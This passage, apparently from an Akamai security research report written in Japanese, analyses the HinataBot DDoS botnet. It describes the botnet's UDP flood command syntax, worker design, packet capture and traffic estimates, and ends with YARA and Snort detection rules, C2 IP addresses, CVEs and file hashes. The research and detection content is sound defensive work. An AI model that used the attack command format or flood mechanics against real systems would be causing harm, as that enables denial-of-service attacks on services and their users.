udp_flood 攻撃コマンド構造は、オプションが指定されなかったとしても、前述したフィールドがすべて必要となります(図 33)。私たちは分析とテストにより、ターゲットポートの制御に使用される単一のオプションフィールドを特定できました。オプションが渡されなかった場合、バイナリは攻撃コマンドの解析に失敗します。場合によっては、このフィールドを介して値を渡しても、ボットがクラッシュすることがあります。
API_CONNECTION_ATTACK: 1 127.127.127.127 120 1531337
図 33:udp_flood 攻撃の攻撃コマンド構造
この攻撃コマンドは、 http_flood 亜種とは少し異なり、最後のパラメーターで UDP_OPTIONS の値が渡されます(1531337)。このパラメーターによって、UDP パケットの送信先となるターゲットポートを制御します。値は実際には 3 つの要素で構成されており、1 つ目はパラメータータイプ(1)、2 つ目は値の長さ(5)、3 つ目は値そのものです(31337)。
コマンド解析には、この 4 番目のパラメーターが必要なようですが、値は破棄できます。ここでポート値が指定されない場合、バイナリは攻撃のターゲットポートとしてデフォルトの UDP/80 を使用します。当初は、このようにデータが渡されることから、1~9 のその他の設定パラメーターが見つかると想定していましたが、ボットから出る攻撃トラフィックになんらかの影響を及ぼすのはポートパラメーター(1)だけのようです。
図 34 のスクリーンショットは、 udp_flood ソケットのセットアップを示しています。まず、Go の net ライブラリの net.Dial を使用して UDP ソケットを作成しています。次に、512 のワーカーを作成して、このソケットを共有し、各ワーカーは、共有チャネルを通じて持続時間タイマーが kill コマンドを送信するまで、このソケットを介してデータをプッシュするループを実行します。ボットから出る UDP パケット(図 35)は非常に大きく(パケットあたり合計 65,549 バイト)、インターネットを通じて断片化された状態で被害者に届くことが予想されます。このサイズはバイナリ内にハードコードされているため、攻撃者が攻撃ごとに制御することはありません。
15:59:00.451351 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.451679 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.458964 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.459266 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.460467 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461456 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.461807 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.462932 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463561 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.463786 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465147 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.465835 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466018 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.466740 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467265 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.467407 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468113 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.468737 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.469076 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.470517 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471034 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471214 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.471957 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472804 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length 65507
15:59:00.472940 IP 127.0.0.1.34737 > 127.127.127.127.31337: UDP, length
図 35:UDP 攻撃パケットのパケットキャプチャ
UDP データセグメントにまとめられた 65,507 バイトはすべてヌルバイトです(図 36)。攻撃中、IP ID ヘッダーは連続的に値が増えていきます。送信元ポートは一時的なものですが、フラッドの持続時間中は静的な状態を維持します。これはすべて、 net.Dial で攻撃者のワーカープール全体の UDP ソケットを管理していることによる副次的な影響であると考えられます。そのほかに、UDP データに対するチェックサムが失敗している点にも留意してください。
測定方法
私たちは、これら 2 つの攻撃手法のベンチマークを目的として、10 秒間の攻撃を 2 回(各手法 1 回ずつ)実行し、攻撃フローだけをパケットキャプチャに切り出しました。こうして、攻撃タイプごとに生成されたトラフィックの全体サイズを確認できました。
http_flood は、3.4 MB のパケット・キャプチャ・データを生成し、20,430 個の HTTP リクエストをプッシュしました。各リクエストのサイズは 484~589 バイトの範囲でしたが、サイズの違いは、主に User-Agent と Cookie ヘッダーのデータがランダム化されていることが要因となっています。このようなリクエストパケットの長さは、追加ヘッダー(Authorization Basic データなど)の有無、URL パスと Get パラメーターのパディング、TLS の有無によっても左右されるため、これらを考慮する必要があります。
また、この攻撃イベントで標的とされたサーバーが非常にシンプルでシングルスレッドであることも重要です。ワーカープールにもっと迅速に応答できるサーバーが攻撃を受けた場合、数値はさらに大きくなった可能性があります。
udp_flood は、6,733 パケット、合計 421 MB のパケット・キャプチャ・データを生成しました。この攻撃についてはあまり言及する点はないのですが、もともとボリュームを特徴とする攻撃なので、それにふさわしい仕事をしているように思われます。前述のとおり、この攻撃では、生成されるパケットのサイズが大きいため、実際の攻撃イベントでは、パケットの断片が被害者に殺到すると思われます。
10 秒のサンプルセットとボットネットの理論的なサイズを使用して、攻撃の規模を推定してみましょう。ボットネットが 1,000 ノードのみで構成されている場合、UDP フラッドは 1 秒あたり約 336 Gbps という計算になります。ノード数が 10,000(Mirai のピーク時のサイズの約 6.9%)になると、UDP フラッドは 3.3 Tbps を超えます。1,000 ノードの HTTP フラッドは、約 2.7 Gbps を生成し、200 万 rps を超えます。10,000 ノードになると、27 Gbps、2,040 万 rps に跳ね上がります。
これらは理論的な能力であり、関与するサーバーの種類や、その帯域幅、ハードウェア機能などは考慮されていませんが、おおまかなイメージはつかめます。私たちが現実の規模で HinataBot に対処しなければならなくなる前に、このボットネットの作成者たちの関心が新しい趣味に移ることを願うばかりです。
結論
HinataBot は、進化する脅威の状況、特にボットネット関連の最新の例といえます。マルウェアの作成者は、使用する実装方法、言語、配信方法を常に刷新しています。攻撃者は、Mirai で使用されているような、比較的古い実証済みの手法を活用することで、検知の回避、 継続的進化、新機能の追加といった部分に集中できます。
HinataBot などの進化する脅威を継続的に調査し分析すれば、攻撃者の戦術、テクニック、手順をより深く理解できるようになり、攻撃に対する強固な防御の開発が可能となります。HinataBot ファミリーの配信には、古い脆弱性が悪用され、総当たり方式で脆弱なパスワードを破る方法が使われています。つまりこれは、強力なパスワードとパッチポリシーがこれまで以上に重要になっていることを示す例でもあるのです。攻撃者は常に、投資収益率が高く、簡単に得られる成果を追及するので、攻撃を成功しにくくすることは、環境とインターネットを安全に維持するためにおおいに役立ちます。
HinataBot はまだ発見されたばかりです。Akamai SIRT は今後もこのマルウェアの進化を継続的に監視し、必要に応じて新たな調査結果を報告します。
Akamai のお客様は、このボットネットがサポートする 2 つの攻撃機能から保護されています。
Akamai は、UDP、TCP、ICMP フラッドなど、非 HTTP の攻撃をエッジで透過的に緩和します。
Akamai App & API Protector は、Akamai Client Reputation、Rate Control、Akamai Bot Manager、Web アプリケーション・ファイアウォール・ルールを介して、このような L7 Web アプリケーション攻撃を自動的に緩和します。
このボットネットからの保護に関するその他のご質問については、Akamai アカウントチームにお問い合わせください。
IOC
YARA ルール
HinataBot バイナリ
rule detect_hinatabot_strings {
Meta:
description = "This rule detects HinataBot binaries."
confidence = "high"
strings:
$s1 = "HINATA_START_NICE"
$s2 = "API_CONNECT_BOT"
$s3 = "Connection to CNC is OK!"
$s4 = "API_CONNECTION_SIGNAL_CHECK"
$s5 = "API_CONNECTION_SIGNAL_OK"
$s6 = "API_CONNECTION_ATTACK"
$s7 = "Hinata already running"
$s8 = "API_CONNECTION_KILL_ALL"
$s9 = "hinata_exists"
$s10 = "hinata_loaded"
$s11 = "HINATA_"
condition:
3 of ($s*)
}
HinataBot の感染スクリプト
rule detect_malicious_files {
meta:
description = "This rule detects infector scripts attempting to pull down HinataBot binaries."
confidence = "high"
strings:
$file_names = /hinata-[a-z\.0-9]+/
condition:
all of them
}
Snort ルール
http_flood
alert tcp any any -> any any (msg:"HTTP Request with HinataBot’s static header values"; flow:established, to_server; sid:1000001; rev:1; content:"Accept-Charset|3a| ISO-8859-1, utf-8, Windows-1251, ISO-8859-2, ISO-8859-15|0d 0a|"; content:"Accept-Encoding|3a| *,identity,gzip,deflate|0d 0a|"; content:"Content-Type|3a| multipart/form-data, application/x-url-encoded|0d 0a|"; http_method;)
C2 サーバーからの通信
alert tcp any any -> any 1420 (msg:"HinataBot API inbound connection detected."; sid:1000002; rev:1; content:"API_CONNECTION_SIGNAL_CHECK"; )
C2 サーバーへの通信
alert tcp any any -> any 1420 (msg:"HinataBot API outbound connection detected."; sid:1000003; rev:1; content:"API_CONNECTION_SIGNAL_OK"; content:"API_CONNECTION_ATTACK";)
IP
77.73.131.247
156.236.16.237
185.112.83.254
ポート
61420
1420
CVE
CVE-2017-17215
CVE-2014-8361
ファイル名
tftp.sh
wget.sh
hinata-linux.amd64
hinata-windows-arm5
hinata-plan9-arm5
hinata-openbsd-arm5
hinata-netbsd-arm5
hinata-linux-arm5
hinata-freebsd-arm5
hinata-windows-arm7
hinata-windows-arm64.exe
hinata-windows-arm6
hinata-windows-arm
hinata-windows-amd64.exe
hinata-windows-386.exe
hinata-solaris-amd64
hinata-plan9-arm7
hinata-plan9-arm6
hinata-plan9-arm
hinata-plan9-amd64
hinata-plan9-386
hinata-openbsd-mips64
hinata-openbsd-arm7
hinata-openbsd-arm64
hinata-openbsd-arm6
hinata-openbsd-arm
hinata-openbsd-amd64
hinata-openbsd-386
hinata-netbsd-arm7
hinata-netbsd-arm64
hinata-netbsd-arm6
hinata-netbsd-arm
hinata-netbsd-amd64
hinata-netbsd-386
hinata-linux-s390x
hinata-linux-riscv64
hinata-linux-ppc64le
hinata-linux-ppc64
hinata-linux-mipsle
hinata-linux-mips64le
hinata-linux-mips64
hinata-linux-mips
hinata-linux-arm7
hinata-linux-arm64
hinata-linux-arm6
hinata-linux-arm
hinata-linux-amd64
hinata-linux-386
hinata-js-wasm
hinata-illumos-amd64
hinata-freebsd-arm7
hinata-freebsd-arm64
hinata-freebsd-arm6
hinata-freebsd-arm
hinata-freebsd-amd64
hinata-freebsd-386
hinata-dragonfly-amd64
hinata-darwin-arm64
hinata-darwin-amd64
hinata-android-arm64
hinata-aix-ppc64
最近のハッシュ
01422e34b2114c68cdb6ce685cd2e5673bbe5652259a0c4b862d5de2824a9375
1b958fd718f1419700c53fed10807e873e8399c354877b0a3dfceac7a8581456
8a84dc2a9a06b1fae0dd16765509f88f6f54559c36d4353fd040d02d4563f703
4aba67fdd694219ff0dff07ebd444ed154edacc00c3a61f9b661eabe811a0446
71154ad6bd1a8a79fc674c793bb82b8e7d1371eca0f909c6e4a98ef8e7f5d1da
c6a7e25290677cc7b9331343166b140f2c320764a815b241747e6913b1a386d9
92adfbe6aae06d7c99469aeb6551db8eee964b589f2b8774e29d987cfbd0e0d6
8eda08ce362c09b5f45772467f94d5370068c1798f78c5316f15647ac898c621
ff7638c0c893c021c3a059a21a71600249881afd84dc0d751d99db1c8edd3cac
a3fac6fea9201c3c3eaae47bd95e0be93e91298e48df75540958834f9e75ac4d
9875bb9dd6d159a3b327de80e151ef7f3831c0d6833ae781490d68e426b73680
6ec35ef48ffdf9a92aa8845c336b327c280e1f20d7130ba0856540aed3233bbc
C0aa34dd8dbf654d5230d4ef1db61f9befc89a0ea16cb7757edbf8a8090c9146
5643bf01e113de246575a9ec39ea12a85f9babb6ac069132ad8d1a7bfa56ed1b
845134ee7335f07b23e081f024cad5cbfc9ef453d6e2adc7970d6543292e5bcc
995681f388f5e0a405c282ae9ce22dc41f2249f0f5208254e1eec6e302d7ad7d
07326cce5325eabbe1caa2b3f8a4ab78e7913b65703c0afc3bab808441c30688
61181b4b7b7040ce4ab9c489a2b857f5a7fe8407c422327fff798f3b55e0cbe3
75c050580725279a6592eecc2b02b6fa78f5469c2f08fb1d0e2fe616beb8bf0d
E3427838132b6161f10e77d0beca1beac90c63a8ccc4aabd523041aec25aab67